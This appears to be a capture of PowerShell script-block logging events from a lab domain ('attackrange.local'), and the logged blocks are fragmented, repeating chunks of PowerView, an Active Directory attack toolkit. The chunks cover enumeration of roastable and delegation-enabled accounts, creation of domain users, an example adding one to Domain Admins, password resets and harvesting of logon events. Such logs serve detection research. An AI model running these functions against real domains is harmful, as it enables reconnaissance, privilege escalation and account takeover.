$SchemaSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } $SchemaSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' $RightsSearcher = Get-DomainSearcher @SearcherArguments if ($RightsSearcher) { try { $Results = $RightsSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } $RightsSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } $GUIDs } function Get-DomainComputer { <# .SYNOPSIS Return all computers or specific computer objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all computer objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testl ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989495 Keywords=None Message=Creating Scriptblock text (15 of 61): Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to create a new DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. .PARAMETER SamAccountName Specifies the Security Account Manager (SAM) account name of the user to create. Maximum of 256 characters. Mandatory. .PARAMETER AccountPassword Specifies the password for the created user. Mandatory. .PARAMETER Name Specifies the name of the user to create. If not provided, defaults to SamAccountName. .PARAMETER DisplayName Specifies the display name of the user to create. If not provided, defaults to SamAccountName. .PARAMETER Description Specifies the description of the user to create. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword Creates the 'harmj0y2' user with the specified description and password. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred Creates the 'harmj0y2' user with the specified description and password, using the specified alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .OUTPUTS DirectoryServices.AccountManagement.UserPrincipal .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( [Parameter(Mandatory = $True)] [ValidateLength(0, 256)] [String] $SamAccountName, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Password')] [Security.SecureString] $AccountPassword, [ValidateNotNullOrEmpty()] [String] $Name, [ValidateNotNullOrEmpty()] [String] $DisplayName, [ValidateNotNullOrEmpty()] [String] $Description, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $SamAccountName } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) # set all the appropriate user parameters $User.SamAccountName = $Context.Identity $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) $User.SetPassword($TempCred.GetNetworkCredential().Password) $User.Enabled = $True $User.PasswordNotRequired = $False if ($PSBoundParameters['Name']) { $User.Name = $Name } else { $User.Name = $Context.Identity } if ($PSBoundParameters['DisplayName']) { $User.DisplayName = $DisplayName } else { $User.DisplayName = $Context.Identity } if ($PSBoundParameters['Description']) { $User.Description = $Description } Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" try { $Null = $User.Save() Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" $User } catch { Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" } } } function Set-DomainUserPassword { <# .SYNOPSIS Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified user -Identity, which returns a DirectoryServices.AccountManagement.UserPrincipal object. The SetPassword() function is then invoked on the user, setting the password to -AccountPassword. .PARAMETER Identity A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) specifying the user to reset the password for. .PARAMETER AccountPassword Specifies the password to reset the target user's to. Mandatory. .PARAMETER Domain Specifies the domain to use to search for the user identity, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword Resets the password for 'andy' to the password specified. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred Resets the password for 'andy' usering the alternate credentials specified. .OUTPUTS DirectoryServices.AccountManagement.UserPrincipal .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('UserName', 'UserIdentity', 'User')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Password')] [Security.SecureString] $AccountPassword, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) if ($User) { Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" try { $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) $User.SetPassword($TempCred.GetNetworkCredential().Password) $Null = $User.Save() Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" } catch { Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" } } else { Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" } } } function Get-DomainUserEvent { <# .SYNOPSIS Enumerate account logon events (ID 4624) and Logon with explicit credential events (ID 4648) from the specified host (default of the localhost). Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses an XML path filter passed to Get-WinEvent to retrieve security events with IDs of 4624 (logon events) or 4648 (explicit credential logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). A maximum of -MaxEvents (default of 5000) are returned. .PARAMETER ComputerName Specifies the computer name to retrieve events from, default of localhost. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events to retrieve. Default of 5000. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer. .EXAMPLE Get-DomainUserEvent Return logon events on the local machine. .EXAMPLE Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) Return all logon events from the last 3 days from every domain controller in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 Return a max of 1000 logon events from the specified machine using the specified alternate credentials. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogonEvent .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogonEvent')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { # the XML filter we're passing to Get-WinEvent $XPathFilter = @" *[ System[ Provider[ @Name='Microsoft-Windows-Security-Auditing' ] and (Level=4 or Level=0) and (EventID=4624) and TimeCreated[ @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' ] ] ] and *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']] *[ System[ Provider[ @Name='Microsoft-Windows-Security-Auditing' ] and (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) ] ] and *[ EventData[ ( (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') or Data[@Name='TargetUserName']='ANONYMOUS LOGON' or Data[@Name='TargetUserSID']='S-1-5-18' ) ] ] "@ $EventArguments = @{ 'FilterXPath' = $XPathFilter 'LogName' = 'Security' 'MaxEvents' = $MaxEvents } if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { $EventArguments['ComputerName'] = $Computer Get-WinEvent @EventArguments| ForEach-Object { $Event = $_ $Properties = $Event.Properties Switch ($Event.Id) { # logon event 4624 { # skip computer logons, for now... if(-not $Properties[5].Value.EndsWith('$')) { $Output = New-Object PSObject -Property @{ ComputerName = $Computer TimeCreated = $Event.TimeCreated EventId = $Event.Id SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value SubjectLogonId = $Properties[3].Value TargetUserSid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value TargetLogonId = $Properties[7].Value LogonType = $Properties[8].Value LogonProcessName = $Properties[9].Value AuthenticationPackageName = $Properties[10].Value WorkstationName = $Properties[11].Value LogonGuid = $Properties[12].Value TransmittedServices = $Properties[13].Value LmPackageName = $Properties[14].Value KeyLength = $Properties[15].Value ProcessId = $Properties[16].Value ProcessName = $Properties[17].Value IpAddress = $Properties[18].Value IpPort = $Properties[19].Value ImpersonationLevel = $Properties[20].Value RestrictedAdminMode = $Properties[21].Value TargetOutboundUserName = $Properties[22].Value TargetOutboundDomainName = $Properties[23].Value VirtualAccount = $Properties[24].Value TargetLinkedLogonId = $Properties[25].Value ElevatedToken = $Properties[26].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') $Output } } # logon with explicit credential 4648 { # skip computer logons, for now... if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { $Output = New-Object PSObject -Property @{ ComputerName = $Computer TimeCreated = $Event.TimeCreated EventId = $Event.Id SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value SubjectLogonId = $Properties[3].Value LogonGuid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value TargetLogonGuid = $Properties[7].Value TargetServerName = $Properties[8].Value TargetInfo = $Properties[9].Value ProcessId = $Properties[10].Value ProcessName = $Properties[11].Value IpAddress = $Properties[12].Value IpPort = $Properties[13].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') $Output } } default { Write-Warning "No handler exists for event ID: $($Event.Id)" } } } } } } function Get-DomainGUIDMap { <# .SYNOPSIS Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-Forest .DESCRIPTION Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) for objects where objectClass=controlAccessRight, translating the GUIDs again. Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .OUTPUTS Hashtable Ouputs a hashtable containing a GUID -> Readable Name mapping. .LINK http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} $ForestArguments = @{} if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } try { $SchemaPath = (Get-Forest @ForestArguments).schema.name } catch { throw '[Get-Do ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997199 Keywords=None Message=Creating Scriptblock text (13 of 54): | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $UserSearcher = Get-DomainSearcher @SearcherArguments if (-not $UserSearcher) { Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $UserName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$UserName)" $SearcherArguments['Domain'] = $UserDomain Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" $UserSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['SPN']) { Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' $Filter += '(servicePrincipalName=*)' } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' } if ($PSBoundParameters['DisallowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' } if ($PSBoundParameters['AdminCount']) { Write-Verbose '[Get-DomainUser] Searching for adminCount=1' $Filter += '(admincount=1)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['PreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } else { $Results = $UserSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $User = $_ $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') } else { $User = Convert-LDAPProperty -Properties $_.Properties $User.PSObject.TypeNames.Insert(0, 'PowerView.User') } $User } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" } } $UserSearcher.dispose() } } } function New-DomainUser { <# .SYNOPSIS Creates a new domain user (assuming appropriate permissions) and returns the user object. TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to create a new DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. .PARAMETER SamAccountName Specifies the Security Account Manager (SAM) account name of the user to create. Maximum of 256 characters. Mandatory. .PARAMETER AccountPassword Specifies the password for the created user. Mandatory. .PARAMETER Name Specifies the name of the user to create. If not provided, defaults to SamAccountName. .PARAMETER DisplayName Specifies the display name of the user to create. If not provided, defaults to SamAccountName. .PARAMETER Description Specifies the description of the user to create. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword Creates the 'harmj0y2' user with the specified description and password. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred Creates the 'harmj0y2' user with the specified description and password, using the specified alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .OUTPUTS DirectoryServices.AccountManagement.UserPrincipal .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( [Parameter(Mandatory = $True)] [ValidateLength(0, 256)] [String] $SamAccountName, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Password')] [Security.SecureString] $AccountPassword, [ValidateNotNullOrEmpty()] [String] $Name, [ValidateNotNullOrEmpty()] [String] $DisplayName, [ValidateNotNullOrEmpty()] [String] $Description, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $SamAccountName } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) # set all the appropriate user parameters $User.SamAccountName = $Context.Identity $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) $User.SetPassword($TempCred.GetNetworkCredential().Password) $User.Enabled = $True $User.PasswordNotRequired = $False if ($PSBoundParameters['Name']) { $User.Name = $Name } else { $User.Name = $Context.Identity } if ($PSBoundParameters['DisplayName']) { $User.DisplayName = $DisplayName } else { $User.DisplayName = $Context.Identity } if ($PSBoundParameters['Description']) { $User.Description = $Description } Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" try { $Null = $User.Save() Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" $User } catch { Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" } } } function Set-DomainUserPassword { <# .SYNOPSIS Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified user -Identity, which returns a DirectoryServices.AccountManagement.UserPrincipal object. The SetPassword() function is then invoked on the user, setting the password to -AccountPassword. .PARAMETER Identity A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) specifying the user to reset the password for. .PARAMETER AccountPassword Specifies the password to reset the target user's to. Mandatory. .PARAMETER Domain Specifies the domain to use to search for the user identity, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword Resets the password for 'andy' to the password specified. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred Resets the password for 'andy' usering the alternate credentials specified. .OUTPUTS DirectoryServices.AccountManagement.UserPrincipal .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('UserName', 'UserIdentity', 'User')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Password')] [Security.SecureString] $AccountPassword, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Autom ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997198 Keywords=None Message=Creating Scriptblock text (12 of 54): ncetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } # Domain / Credential if ($PSBoundParameters['Domain']) { if ($PSBoundParameters['Credential']) { $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } else { $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target 